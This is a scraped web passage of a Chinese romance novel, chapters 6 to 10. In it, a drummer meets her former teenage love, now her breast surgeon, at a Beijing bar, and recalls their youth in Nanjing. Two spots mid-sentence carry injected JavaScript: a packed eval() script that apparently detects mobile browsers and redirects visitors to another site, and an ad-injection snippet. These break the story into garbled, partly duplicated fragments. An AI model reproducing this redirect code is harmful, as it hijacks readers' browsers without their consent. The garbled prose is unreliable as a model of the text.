主唱叫巧巧,梳着齐耳短发,人有点瘦削,但却不失女人的媚态。吉他手小川和贝斯手山子年纪都不大,头发抓得酷酷的,一脸稚气,看着像没毕业的大学生。键盘手武岳,大家都叫他武哥。他年纪略长其他人一些,蓄着胡子,有种成熟男人的性感,而且据说也是乐队的大才子,乐队的很多歌都是他写的。 谢一菲一一和大家打过招呼,到了巧巧时,她看着谢一菲伸出的手只懒懒抬了下眼皮,然后转身走向话筒:“别耽误时间了,开练吧。” 谢一菲只得悻悻收回手。 合作的第一天,这似乎算不上一个好信号。好在转身时,她看到武哥对她抱歉一笑,这让她心里舒服了不少。 她拿出自己的鼓棒,简单试了一下手感,心也逐渐沉淀了下来。 她知道其他人一定都在留意着她,但她已经不那么在意了,她只在意从鼓棒下发出的声音,那是激昂的、清脆的,就和她此刻的心情一样。 她终于再一次站上了舞台,即便是很小很小的舞台。 几首曲目磨合下来,谢一菲对这支乐队有了更直观的了解。 看得出几人的技术和默契度都很好,巧巧的声音也很有辨识度,难怪这间酒吧和这支乐队能在这一代脱颖而出,要不是他们之前的鼓手临时出走,恐怕也轮不到谢一菲。 随着时间的流逝,酒吧里的人越来越多,不到七点,卡座里几乎座无虚席。 谢一菲开始紧张起来,这让她想起很多年前为了赚点零花钱她第一次站上舞台的情形,还好这一次她早有准备。 几首曲子过后,乐队有片刻的中场休息时间,谢一菲从包里翻出一顶棒球帽戴上,几分钟后再次走上舞台。 宽大的帽檐遮挡住了她一半的视野,只要她不抬头她就只能看到面前的鼓。 …… 宋良左一个电话右一个电话催个没完,说他有个朋友怀疑自己得了乳腺疾病,想请教秦铮几个专业问题,非让他下班去一趟初涩。 能在酒吧探讨的病情看来也没多严重,秦铮做了一天的手术本来就不想去,再一看地点在初涩就更不想去了。但主任忽然造访还拉着他唠起家常,眼见着就要聊到上次相亲的事上了,幸好宋良又打电话来催,他正好借这机会离开了医院。 不过既然答应了宋良,那就还是得过去一趟。 7. 第 7 章 要咨询秦铮的是宋良新交往的小女朋友,旁边还有一群秦铮看着眼熟,但叫不上名字的男男女女。 和秦铮想的差不多,宋良的小女友要咨询的所谓的“专业问题”基本属于常识的范畴,秦铮耐着性子应付了几句就坐在一旁喝酒。 宋良明知故问:“怎么臭个脸?酒不好喝啊?” 秦铮:“做了一天手术还要给人解答乳腺增生的原因,给你你还能微笑服务吗?” 宋良笑着安抚他:“小姑娘没见过什么世面,非要见见活得乳腺外科男医生,我有什么办法?知道你辛苦,你就当出来放松一下吧。” 秦铮看了眼时间:“问题解答完了,我该回去了。” 两人正说着话,酒吧里的轻音乐忽然停了,有人走上了舞台,聚光灯亮起,恰打在了主唱的身上,这么冷的天,她的穿着却很单薄,玲珑的曲线一览无遗。 秦铮本以为今晚是没有乐队演出的,原来是他刚进来那会儿正赶上乐队的中场休息。 前奏响起,旋律很动人,经常来初涩的人都听过,据说是这支乐队最出圈的原创歌曲。 主唱捧着话筒缓缓开腔,她嗓音空灵,把歌曲中传达的那种初遇爱人时的心动,和对已逝之爱的遗憾都展现得淋漓尽致,而她目光锁定之处,正是秦铮所在的这一桌,但秦铮的视线却越过了她落在了舞台角落那个鼓手的身上。 和女歌手不同,她穿着简单的牛仔裤,纯色的连帽卫衣,头上的棒球帽几乎遮住了大半张脸。一眼看过去那是很平平无奇的一个人,但是那种沉醉音乐的姿态让人很难忽略她。 她将自己捂得严严实实,加上舞台上的灯光昏暗,别人或许看不清她的长相,但秦铮无需看清那张脸还是一眼就能认出那是谢一菲。 在这里见到这样的她,他的震惊程度不亚于她第一次推开他诊室门的那一刻。 谁能想到,那个白天看着规矩到甚至有些木讷的大学老师还有这样的一面? 一首歌结束,旁边的宋良很欠扁地问:“你刚才不是说要走吗?又不走了?” 秦铮回过神来,却不想理会宋良的调侃。 宋良笑嘻嘻帮他倒满酒:“你也就能跟我这硬气硬气,你是不知道你刚才看人家那眼神,那叫一个凄凄哀哀缠绵幽怨。” 秦铮:“你看错了。” 刚才秦铮看着台上的眼神虽然不像宋良形容的那么夸张,但也绝对不寻常。他们是大学同学,后来又成了同事,两人认识很多年了,秦铮这人有什么想法都不会写在脸上,像今天这情况宋良还是头一次见。可是这又不是他们第一次看巧巧演出,照理说他没理由再被惊艳了。 宋良起初想不明白,但后来稍一琢磨就琢磨出来了——人看自己已经失去的东西总是会觉得格外的好吧。 宋良自以为洞悉了一切:“跟兄弟就别藏着掖着了,你之前说你俩结束了,但今天看这样子明显还没结束啊。你刚才那眼神分明是还有想法,我看她看你的眼神也是,那都拉着丝儿呢。怎么样?要不要来个‘破镜重圆’?” “破镜重圆?” “对啊,或者‘藕断丝连’、‘冰释前嫌’、‘重温旧梦’,你看你喜欢哪个?” 秦铮微哂:“学医真是委屈你了。” 话是这么说,但那几个词却像是在他心上扎了根儿似的,久久挥散不去。 宋良以为他是死要面子,继续游说道:“男人嘛,这种时候不能太端着,哪有里子面子都齐全的好事?想抱得美人归就得适当放低身段,一会儿她休息时你请她喝杯酒,之前有什么不快也就一笔勾销了。” 秦铮果断拒绝:“不用了。” “为什么?” 他沉默了片刻说:“我对回头草没兴趣。” 既然结束了,那就必然有结束的道理,“破镜重圆”未必是最后的结果,最后的结果更可能是“重蹈覆辙”。 “我可没看出来你秦医生这是没兴趣的样。行!你就嘴硬吧,我看你能硬到什么时候!” 此时台上已经换了一首歌,这回是首老歌。 宋良没安分一会儿又凑了过来:“对回头草没兴趣那就看看旁边的小花吧,那是我女朋友的闺蜜,从你进来就没错过眼。” 秦铮不明所以地顺着他的视线看过去,斜对面的角落里一浓妆艳抹的黄头发姑娘暧昧地朝他举起了酒杯。 秦铮淡然收回视线,此时老歌正唱到了副歌部分,也就是这首歌的高潮,然而唱歌的人却心不在焉,打鼓的人倒是全情投入。 夜场随处充斥着沸腾的荷尔蒙,男男女女来到这里不是想寻欢就是想发泄,每一个角落里都隐藏着一些不可告人的龌龊和贪婪。可这里的中心,舞台上的那个角落却仿佛可以屏蔽掉周遭的一切。 宋良忽然很激动:“来了来了!” 秦铮再抬起头时,那女生已经越过了其他人坐到了他的旁边。 周遭人都是一副见怪不怪的暧昧神色。 女孩很放得开:“帅哥,能请我喝杯酒吗?” 多数时候,秦铮还是绅士的,但他也只是拿起桌上的酒瓶倒了杯酒给她,便再无一句多余的话。 女孩努力寻找话题,秦铮却一直爱答不理,女孩渐渐也安静了下来,而他们这里的安静就显得旁边的宋良格外聒噪。 他那小女朋友似乎是刚考了驾照,想让宋良开他的车陪她练练。 宋良自然是答应了,但还不忘顺便占人便宜。 “开车这事其实一点都不难,一档进入,二三档的时候开久一点,慢慢提速,不要立刻提速到四五档,而且要时不时踩踩刹车,当车子开始抖动的时候再快速提速,持续个五分钟的时候再来个急刹车,这时候车子往往抖得更厉害,但也更润了……” 他小女朋友笑着捶他:“我怎么听着不像是开车啊?” 边上其他人也跟着起哄。 宋良没脸没皮道:“我这不就是在开车吗?” 秦铮身旁的女孩笑着对他说:“你朋友真幽默,但你好像不像他那么爱说话。” 秦铮实在懒得应付:“我是不爱和陌生人说话。” 女孩并不觉得尴尬:“多聊聊增进彼此的了解就不陌生了呀,对了,你真是医生吗?” 秦铮随口反问:“不像吗?” “医生都得博士毕业吧,毕业后不都是中年人了吗?哪有你这么年轻还这么帅的!” 就当她饱满的胸快要碰到他时,他向前探身,借着拿酒杯的动作躲开了她:“那就是你少见多怪了。” 他态度冷淡,女孩子也不生气,继续追问:“帅哥哪个科的呀,说不准以后会去找你看病呢。” 秦铮懒得去琢磨她是真不知道还是装不知道,喝了口酒说:“还是算了吧。” “为什么?” 旁边有知情人调侃:“怕你去过以后还想去呗。” 女孩表现得更好奇了:“到底什么科呀?” 有人揭开了谜底,女孩听了大胆握住秦铮的手:“那你的病人可够幸运的。” 忽然间,台上的主唱唱到一半不唱了。因为主唱的缘故,伴奏也随之稀稀落落地停了下来。热热闹闹的夜场陡然没了背景音,就显得台下众人的声音尤为的突兀。 巧巧这一举动搞得谢一菲有点摸不着头绪。 是忘词儿了吗?可看着又不像。她就那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在他刚毕业那两年,总有人问他选这个科室是不是奔着阅女无数去的。那时候他无法理解问话的人,因为大多数医学生选科室时看得是工资高不高,医患关系好不好,平时忙不忙,前景和晋升前途怎么样,否则选肛肠科的人该怎么理解? 直到后来的某一天他终于明白了,说这些话的人大多数没见过真正的恶性肿瘤,他们看到的或是想象中的女性的胸部都是美好的、充满诱惑的,而作为医生的他们看到的却都是病态的、危险的。 一个人的认知和自己的见识息息相关,那些人缺乏对苦难的理解,自然也无法理解他的选择。 酒吧卫生间门前的走廊很窄,墙上刷着饱和度很高的墙漆,显得这段空间更加逼仄。 口袋里的手机振动了两下,他随意扫了一眼,是宋良发来的微信—— 【都是几个俗人,别往心里去。】 他没有回,看完直接收起了手机。 正在这时,女卫生间走出一个人来。 巧巧见到门外的他明显眼前一亮:“你在等我?” 秦铮毫不犹豫地回答:“不是。” 他刚才本打算直接离开的,可手上仿佛还留有那女生身上的香水味,这让他很不舒服。 巧巧好像没听到他的话:“刚才那女生是谁?” 他打开水龙头低头洗手:“如果你想认识她,可以直接去打招呼。” 这个回答显然没能让问话的人满意。 巧巧不管不顾地拉住他,迫使他面对着她:“你是故意的是不是?” 秦铮很不喜欢事做到一半被人打断,更不喜欢这种没边界感的触碰。 他抽回手,慢条斯理地擦手:“什么故意的?” “你也放不下我对不对?不然你为什么会来这里?还专门找个人来气我?” 巧巧所在的乐队一周只在这演出一两次,而且时间不定,他来之前也没想到今天一定会遇上她。 “你想多了。” 谢一菲正打算离开卫生间,却在出门前听到了这样的对话。 8. 第 8 章 刚才看巧巧那反应,谢一菲心里就隐隐有了一些猜测,只是没想到这个世界真的这么小。很显然,这两人关系匪浅。 说来真是荒唐,她每次见他,他好像都在和不同的女人纠缠不休。 巧巧的声音再度传来:“我不相信你对我一点感情都没有,你别说我们之前的那些温存都是假的。” 和巧巧相比,秦铮的声线很平稳,就像对谢一菲阐述病情时那样毫无情绪:“我以为我们一开始就说好了,我对你不会有任何的感情。” “秦铮。”巧巧的声音带着哭腔,“你怎么是这样的人?你为什么要这样对我?” 男人几不可闻地叹息:“如果早知道会这样,我就不会开始。” “那我们再来一次好不好?就当分手炮了。” 想不到在其他人面前那么高傲的巧巧,在秦铮面前会这么卑微。 但卑微真的能换来被爱吗? 透过门的缝隙,谢一菲看到巧巧试图去拥抱秦铮,却被秦铮一脸漠然地推开了。 秦铮的声音依旧很冷:“别作践自己,就这样吧。” 他究竟是怎么做到的,可以在每一段关系结束时都迅速抽身? 与外面的男女只有一门之隔的谢一菲不由得想到很久以前——那时候,他甚至没有对她说一句再见,一夜之间人间蒸发,是怕她会像巧巧这样纠缠他吗? 谢一菲觉得可笑。 年少时的她或许做不到太洒脱,但是她也有她的骄傲,至少不会去祈求他的爱。 终于,门外的说话声停了,看样子两人已经离开了,而正当她也打算离开的时候,熟悉的声音再度响起:“出来吧。” 谢一菲吓了一跳,怎么巧巧走了秦铮还没走? 不过他是在跟她说话吗?她躲得好好的,照理说不应该被发现。 保险起见,她依旧没有出声,而是又等了一会儿。 门外再没声音,她松了口气,然而当她拉开门走出去时,却看到秦铮正好整以暇地看着她,一副等着兴师问罪的样子。 场面多少有点尴尬…… 谢一菲顿了顿,解释说:“你们说话也没避着人,我是凑巧听到,不是故意偷听。” 他今天一身黑衣黑裤,黑色衬衫扎在西裤里,突显出劲窄的腰身和一双长腿,衬衫扣子被解开两颗,露出修长的脖颈和半截锁骨,显出几分落拓不羁。 他闻言只是笑了一下,对她这话不置可否。 他不说话她也不打算再开口,但洗手时她能感受到他的目光一直没有从她身上离开过。 她不知道他到底想干什么,敲打她别外传他的私事吗?那他真是想多了。 洗好了手见抽纸盒在他身后,她犹豫了一下决定不擦了,但他却身后长了眼睛似的反手抽了两张纸巾递给她。 她接过纸巾说了句“谢谢”,再抬头时发现他正盯着她身上的某一处看。 她顺着他的视线低下头,就看到了自己的胸…… 她不由得又想起他刚才去摸那女孩的胸的画面……那轻慢的态度是否也曾藏在他治病救人的面具之下? 短短片刻的功夫,无心撞破他隐私的尴尬荡然无存,剩下的只有压制不住的火气。 “我有点好奇……”她忽然开口。 “什么?” “秦医生从医这么多年,现在看到别人的胸还会有不该有的想法吗?” 秦铮的眼中闪过一丝讶异,似乎没料到她会突然问出这样的话。 他顿了顿说:“工作时那是我的工作,工作之外,我也只是个普通男人。” 所以他的意思是,工作时他对女病人从未有什么非分之想,但工作之余他也会和几个酒肉朋友开开无伤大雅的玩笑吗? “听上去,秦医生似乎把工作和生活分得很清楚。” “怎么?你觉得我工作和生活分不清吗?” 谢一菲懒得跟他兜圈子,索性摊开来说:“别人把命交给你,你却把这些拿出来当谈资,你觉得这是分清楚的做法吗?还是在非工作场合对着别人的胸看只是你的职业习惯?” 秦铮怔了片刻,然后笑了:“你觉得我刚才在和我的朋友拿我的病人开玩笑?还是你觉得我在看你的胸?” 她没有否认:“你自己心里清楚。” “我该清楚什么?” 谢一菲觉得多说无益:“我已经说过了。没什么事我先走了。” 而就在她打算离开的时候,他忽然伸手拦住她的去路。 两人之间的距离陡然拉近,谢一菲下意识地后退了一步。他却仿佛看不出她的抗拒,她后退,他靠近,一步步,直到他将她困在了洗手台前。 他双手撑在她身后的洗手池上,黑色衬衫的袖管被平整挽至手肘上方,袖管里的手臂肌肉鼓鼓的,露在袖管外的小臂也是一个外科医生特有的样子,有力且线条流畅。 这份力量或许会让别的女生脸红心跳,但此刻却让她感到了一丝的心慌。 “你在台上隔着那么远都能关注到我在做什么,看来你很关心我。” 虽然秦一鸣说他浪荡风流,但在今天之前,比起浪荡风流,他给她的感觉更多的是冷漠。 可是今天,一切好像都变了。 “你误会了,我没那么无聊。” 他看着她,刚才那本就不达眼底的笑容渐渐敛去:“你也误会了,我也没你说的那么无聊。” 谢一菲不解地看着他。 秦铮后退一步,重新拉开了和她之间的距离:“我从不和不相干的人讨论我的病人。” 他表情严肃,让她不由得怔了怔。 她回想着自己在台上看见的情形——当时他的手被那女孩抓着,或许主动的人并不是他。 “还有……”他的目光再次落在她的身上,“我刚才看的也不是你的胸,而是你的项链。” 谢一菲下意识去摸脖子上的项链:“我的项链怎么了?” “吊坠是什么图案,燕子吗?” “有什么问题吗?” “没什么,觉得特别,就多看两眼。” 他能注意到她吊坠的图案,说明他刚才确实在看这个。 看来真是她误会他了。原本剑拔弩张的气氛忽然被一股淡淡的尴尬冲散了。 她轻咳一声,缓和了语气:“如果是我误会了你,那我道歉。” 对于她的道歉,他却不怎么领情。 “我怎么觉得谢老师对我似乎有点偏见?” 谢一菲的心跳忽然就错了一拍。 她下意识错开视线:“我为什么会对你有偏见?” “为什么?”他微哂,“你说呢?” 她再度看向他,他也正似笑非笑的看着她,那样的神情像是已经看穿了她此刻的想法,这让谢一菲的心里隐隐有了一些不好的预感。 无意间又摸到了自己脖子上的那枚吊坠,忽然间,她想起了刚才被她忽略的一点。 她这吊坠并不大,做工也算不上多精细,一般人见了最多能猜出这是只鸟,也只有她知道这是燕子,因为这是她专门找人订做的。 爸妈说她出生前家里的窗台下忽然多了一窝小燕子,他们觉得这是个好兆头,就想着孩子的名字里一定要有和燕子相关的字。 燕子会飞,一飞冲天。 她父母决定生了男孩就叫“一飞”,如果是女孩就改成“一菲”。 这些陈年往事没多少人知道,当年的秦铮就是其中之一。 “我不知道。我还有事。” 谢一菲想赶快离开这里,这一次秦铮也没有拦她的意思。 可是就在她与他擦肩而过时,他再度开口:“当年你说想学打鼓,我以为只是句玩笑话,现在看来是我低估了你的决心。” 谢一菲的心跳彻底乱了。 该来的还是来了,可他究竟是什么时候认出她的呢? 是今天吗?还是之前在街上要她微信那次?或者更早,在她第一次出现在他的诊室里时? 既然早早认出她,他为什么不说?看她拙劣的表演很有意思吗? 还有他是怎么做到那么镇定的?对比起来,她每一次见到他时的心神不宁都显得那么可笑。 她深吸一口气,回头看着他笑了笑:“什么时候认出我的?怎么也不说?” 秦铮微微挑眉:“你不也是吗?不会还在介意当年的事吧?” 谢一菲明知顾问:“当年什么事?” 他脸上的笑容渐渐淡去:“要我一件件帮你回忆吗?” 谢一菲:“……” 谢一菲:“都多少年了,我早就不介意了。” “是吗?那怎么还装作不认识我?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722856|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我是怕你已经不记得我这个人了,我再去攀交情那多尴尬。” 她本以为故作轻松就可以蒙混过关,但她忘了,秦铮这人从来都不好糊弄。 比起她刻意表现出来的轻松,他就显得认真了很多。 他说:“原本我也以为我忘了,毕竟已经过去这么多年了……可见到你的时候,我才发现,我竟然一点都没有忘。” 谢一菲的心跳开始加速,她有点摸不准他这些话的意思。 秦铮:“你好像有点紧张,不会明天就换主治医生了吧?” 她勉强笑了笑:“怎么会?熟人看病更方便,而且秦医生的业务能力也是首屈一指的,我为什么要换?” 她不想让他以为她对那段过往依旧耿耿于怀,因为耿耿于怀意味着还没有放下。 按理来说,感情不是比试,两个人里不该有谁胜谁负,可是现实的评判却并非这样。在大众眼里,只要一段感情没有修成正果,那么就有人胜出有人败北,而洒脱的那个人往往就是获胜的一方。 谢一菲不认可这种观点,可是此时此刻,在这个曾经伤害过她的男人面前,她的那点不显山不漏水的好胜心也开始蠢蠢欲动。 “那就好。不过有个问题我一直想问,秦一鸣知道咱俩的关系吗?” 秦一鸣是那种听说她的主治医生是秦铮后都会觉得不舒服的人,更别提以前的事了。 可他这时候问这话是什么意图,是存心让她不痛快还是真的只是好奇问问? 但不管是什么,她觉得她有必要说得更明白一点。 “不知道你指的是什么关系,如果是医患关系的话,他当然知道,如果是指以前那些事,我觉得本来也不是什么大事,没有提的必要,而且说出来还会徒增尴尬,对你对我都不是什么好事。” “不是什么大事?没有提的必要?” 看着他平静无波的脸色,谢一菲的心却莫名其妙地更慌了。 她面上故作镇定:“难道这么多年过去了,你还觉得那是什么大事吗?不应该吧,秦医生在感情方面不是一向很洒脱吗?不然我也不会撞见今天这场面了。” 他似笑非笑地看着她:“我是没想到你也有怕的。” “在意就会怕,毕竟我和秦一鸣现在感情挺好的,也在准备结婚的事,不想再闹出不必要的不愉快来。” 他先是有点意外,然后又像是想起了什么,意味不明地点了点头。 其实她的本意只是想让秦铮认清两人现在的关系,可是也不知道怎么就话赶话的说要结婚,事实上她和秦一鸣远没到那一步。 秦铮忽然的沉默让谢一菲越发心虚。 不过话已经说到这份上了,索性就说得再明白一点吧。 “我不希望秦一鸣知道咱俩以前的事,这个你能理解吧?以后大家都是亲戚,我不想太尴尬。而且那时候咱俩年纪都小,又过去这么久了,确实也没必要再提了……” 男人忽然哂笑出声,这让谢一菲不得不停了下来,她不解地看着他。 秦铮:“你是不是误会了?” “误会什么?” 秦铮敛起笑容,不疾不徐地开口:“我记得过去只单纯的因为我记性好,不是你,是别人我也会记得,就像我历任女朋友的事我也都记得,不然你猜巧巧为什么会觉得我对她有感情?” 是她希望的结果,可是为什么,听他亲口说出这样的话,她心里的那栋房子就像破了一扇窗,有冷风呼呼地吹进来,让她好像又回到了十年前? 然而那个恶劣的罪魁祸首还在继续作恶。 男人漫不经心地说:“我不需要用心就能让别人觉得我在用心,这或许和读书一样,是一种天赋吧。” 所以,她曾经历过的那些心动只是他的随手为之,是没见识的她为自己编织的一个美梦,而她现在的担心也都只是她的自作多情吗? 是啊,当年他离开得那么决绝潇洒,可见他当年就不那么在乎她,更何况是十年后的今天,那“微不足道”的感情怕是早已消弭在了时间的长河之中。 她忽然觉得,这过往十年来自己每一次有意无意地想起他都是件很没出息的事。 谢一菲笑了,这才是真正的他吧?她完全不该担心他会影响到她现在的生活,因为他不屑。她该庆幸的,可是为什么,她会有点难受呢? 9. 第 9 章 这个时节的北京,风里依旧有料峭的寒意,这是和南京完全不同的感受。 从初涩出来,谢一菲独自走在街头,思绪不由控制地被拉回到了很多年以前。 自从那天在巷子里被秦铮解围后,谢东就特别崇拜他,整天把他的名字挂在嘴边。 听谢东说,秦铮是刚从盐城转学过来住在外婆家里,也就是谢一菲家楼下的楚奶奶家。而那些小混混之所以那么怕他,是因为想欺负他没欺负成反而在他手上吃了大亏,以至于后来见了他都绕着走。谢东也是沾了他的光,暂时免于被那几个混混骚扰。 谢一菲听了这些后提点她弟:“既然他这么厉害,那你可要跟他搞好关系。” 谢东叹气:“哪那么容易啊,学校里想跟铮哥搞好关系的人多了去了。那天之后我还没跟他说上话呢,我怀疑他都不记得我是谁了!我真怕那几个混混回头发现我和他根本不熟,又来找我麻烦。” 谢一菲好奇:“为什么都想跟他搞好关系,难道就因为他打架厉害吗?” “当然不是了,铮哥不光打架厉害,他还是个名副其实的学霸!别看他总翘课逃学,上次月考他可是轻轻松松拿了年级第一,而且比第二名高出将近一百分。我们这破学校平时上一本的都没几个,但这一次搞不好真能出个理科状元呢!所以现在校长老师都巴结着他,你说其他人谁不想巴结他?” 这倒是让谢一菲有点意外。 那他这样的人为什么会突然转学到一所那么普通的高中呢? 谢一菲的学校离家并不近,所以她只有周末才会回家。 周五下了课就走,到家也差不多天黑了。 这天她刚下了公交,就看到骑着单车从她身边经过的秦铮。 他们是邻居,以往她偶尔也能在路上见到他。但就像谢东说的,他好像已经忘记了他曾经帮过他们姐弟,再见面依旧像陌生人一样,所以她也没有主动和他说过话。 可是想到她弟今天在电话里说的那些话,她的行动快过脑子,直接喊出了他的名字。 少年刹停在她前方不远处,回过头来看向她所在的方向。 夜色中,穿着蓝白校服的他干净、清爽,少年感满满,而同样的一身校服穿在她弟的身上就只是一套款式土气的校服而已。 其实在他停下来的那一刻,她就已经后悔了,她完全没有和男生搭讪的经验,更何况是秦铮这么个一看就很有距离感的人。 但想到她那不争气的弟弟,她只好硬着头皮上了。 她不停地提醒自己,她比他大,完全不用害怕。 她拘谨地表达了想请他吃饭感谢他上次仗义相助的想法。 本来没报什么希望的,谁知少年竟然爽快地问她:“吃什么?” 请他吃饭是临时起意,被他那么一问,她还真有点为难了——太便宜的怕他看不上,太贵的她又请不起。 而就在她犹豫不决的时候,他主动提议:“要不就那家店吧。” 她顺着他的视线看过去,是街对面的一家汤包店,价格实惠,口味也不错。 她松了口气,笑着说没问题。 她给自己点了一碗鸭血粉丝,让他随便点,最后他也只比她多点了一份汤包。 她吃粉丝时喜欢加很多醋和辣椒,他像是第一次见有人这么吃,好奇地问她:“这样还能吃出粉丝本身的味道吗?” 她肯定地说:“可以,而且更好吃。” 于是他也学着她的样子加了很多醋和辣椒,结果却让她见识了什么叫“猛男落泪”。 她实在没控制住自己,笑个不停,他却一边擦着满头大汗和眼泪,一边倔强的把所有的粉丝一口口吃完。 从汤包店出来后,她有点不好意思:“今天真抱歉,不知道你这么不能吃辣,下次我们换一家。” 这本来只是句成年人都懂的客套话,但她忘了那时候的他还没成年。 他很耿直地问她:“下次什么时候?” 谢一菲愣怔了一下,含含糊糊地说:“我一般都在学校,也不确定下次什么时候有空,再约吧。” 起初他似乎有点失望,但很快又笑了笑说:“好,下次我请你。” 那是她第一次见他笑,那笑容有少年人的明媚,也有年轻男人的倜傥,而谢一菲也在不知不觉中将这个笑容记了很多年。 在接下来的那个周五,她接到一个陌生电话,电话里的男生开门见山地问她今天什么时候到家,说他想请她吃饭。 她反应了好半天,才把这个声音和它的主人对上号。 不用猜也知道,这电话号码一定是谢东给的,不过这也足以说明,谢东算是抱上秦铮这条大腿了,也不枉费她花了两天的伙食费请他吃饭。 但当时的谢一菲对一个高中生什么想法都没有,而且明眼人都看得出她和他根本就是两个世界的人,虽然不知道他为什么会对她有所不同,可她坚信无论是什么原因,他的兴趣都不会持续太久。所以目的达成,她也就不想再浪费时间。 她说:“我晚上有事,到家应该挺晚的。” 对方却像是听不出她的拒绝,追问道:“那你什么时候有时间?” 谢一菲不想以后总接到他的电话,犹豫了一下说:“你高三了吧?应该挺忙的,我最近也是,吃饭的事就再说吧。” 这就是再直白不过的拒绝了。 对面沉默了很久,久到她甚至以为是信号不好的时候,他终于回了个“好”字,然后直接挂断了电话。 不久后,她的一门选修课调到了周五晚上,这样一来她到家的时间就更晚了。 那时候南京的夜晚远没有现在热闹,九点之后街道两边的店铺基本都关了门,街上冷冷清清的,而她家门口的那条小巷没有路灯,更显得漆黑可怖。 她下了公交车快步往家走,彼时的巷子里空无一人,她的脚步声和走路时衣料相互摩擦的声音在静谧的夜里显得格外清晰。 忽然间,她似是听到了不属于她自己的声音。 顺着那声音发出的方向看过去,对面的阴影中似乎有人。 她忽然想起了之前她妈妈打电话来说有人在他们小区附近遇到了露阴癖的事,难道这就被她遇上了? 她不由得放慢了脚步,目光死死盯着阴影中的那一处,脑子里飞快想着可以应对的办法。 身后的街道已经离她很远,前面的家属院也不近。 她从未有哪一刻觉得这条她走了无数次的巷子竟然这么长,像是没有尽头似的。 就在她犹豫着是该继续往前走,还是该掉头回去的时候,阴影中的人忽然冲了出来。 借着稀薄的月光,她看清了那是一个瘦小的男人,穿着件不合身的长款风衣,风衣下的腿是裸着的,可想而知,他风衣里面是多么恶心的东西。 那男人飞快朝着谢一菲跑了过来,眨眼的工夫已经近在咫尺。 谢一菲尖叫着掉头就跑,然而没跑两步,竟撞在了一个人的身上。 她脑中思绪万千,只盼着别是撞上了那变态的同伙,直到她看清来人身上的白色T恤,还有T恤外的蓝白校服,脑子里的胡思乱想才停了下来。 那一刻,她感动得眼泪都快流出来了。 听说秦铮很能打,那么对付一个变态应该是绰绰有余的吧。 她语无伦次,回头去找那变态,想指给他看。 而下一秒,眼睛上忽然覆盖上了一只温热的手。 还没来得及出口的胡言乱语卡在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了齿关,眼前稀薄的月光也消失了,但她的心却格外的安定。 “滚。”依旧是没有情绪的一个字,但却能让那变态落荒而逃。 不知过了多久,他收回了手。 她睁开眼,看到他正垂眸看着她。 “跑了。”他平静地说。 与他没什么温度的声音相比,她觉得自己的脸是滚烫的。。 她去看那只曾盖在她双眼上的手,他似乎有点不自在,将手揣进了校服口袋里。 “走吧。” 她心神不宁地点点头,而彼时的她还没有意识到,那时候的心神不宁已不再是因为害怕。 两人并肩走在漆黑的小巷里,脚下是他们细长的身影。 谢一菲的身高足有170cm,比大部分女生甚至是小部分男生都高,她已经习惯了俯视别人,但是走在秦铮身边却是完全不一样的感觉。 他比她足足高一头,就像一棵挺拔的树一样高大可靠,但越是离得近,也越需要她仰望。 沸腾的血液在认识到这一点的那一刻冷却了下来。 她的心中闪过一丝怅惘。 他很敏锐的察觉到了,问她:“为什么叹气?” “没什么。”她笑了笑,快速调整好情绪,“对了,这么晚了,你怎么在这?” “刚下晚自习。” “你们学校抓得还挺紧的。” “也不是,就只是在教室自习而已,没人管,所以我之前都没上。” 难怪她之前回来早的时候也总能遇到他。 谢一菲:“以前我们学校每天的晚自习都有一位老师负责答疑,你们学校太不负责任了,你们能跟学校建议一下吗?” 秦铮没有回答她的问题,而是问她:“你英语怎么样?” 她高考成绩中最拿得出手的就是英语了。 她谦虚道:“还行。” “那我有问题的话可以问你吗?” 她潜意识里不想跟他有太多的接触,但是他接二连三的帮了她,又让她无法拒绝。 见她不说话,秦铮说:“如果你不想帮忙就算了。” 这话说得像她多忘恩负义似的。 她说:“不是不想帮忙,你也知道我只有周末才能回来。” “你的意思是我周末可以去找你答疑吗?” “周末我爸妈在的时候也不行。” “那就你爸妈不在的时候。” 她父母原来工作单位的效益不好,他们在几年前的下岗潮中纷纷没了工作,后来在朋友的帮忙下开了个店做点小生意,周末正是店里生意忙的时候,也的确不怎么在家。 但谢一菲总觉得,秦铮这是把她架在火上烤,可她又没办法。 “那好吧。”她说。 “你下周五也是这个时间回来吗?” “差不多,不过到时候应该很晚了,也不方便给你答疑吧?” 他没有接话。但是从那以后,每到周五晚上,她总会在车站遇到他。 两人在一起时,他大多数时候是沉默的,除了找她答疑,只偶尔会聊点学校里的事。他也没再提过其他的要求,更没说过什么暧昧的话,时间长了,和他走在一起时她再不会觉得尴尬或者紧张,反而因为有他在,让家门前最黑的那一段路也没那么可怕了。 …… 谢一菲再见秦铮是入院的那一天。 提前和学校请了一周的假,收拾了简单的换洗衣物连同几本书,谢一菲早早去了医院的住院部报道。 住院手续很快办好,护士把她带到一个六人间病房,巧的是,她到的时候秦铮也在病房里。 他穿着白大褂,没戴口罩,看上去斯文俊朗,正和她隔壁床的大姐说话。 10. 第 10 章 护士简单给谢一菲介绍了一下住院须知,她做出聆听的姿态,注意力却不自觉地跟随着几米外的男人。 讲完住院事项,护士递给她几份文件,交待她看完签字,等她晚点来收,然后就去忙别的事了。 谢一菲低头看文件,隔壁的聊天不知道什么时候停了。 她正想抬头看看秦铮是不是还在,头顶上的光线忽然暗了下来。 原本要抬起的脑袋又低了下去。 “胸部CT的检查报告拿到了吗?” 她做出一副刚刚看到他的样子说:“拿到了。” 他点点头,又例行问了几个问题,比如早上是否按照要求空腹,护士有没有说什么时候带她去做入院检查等等。 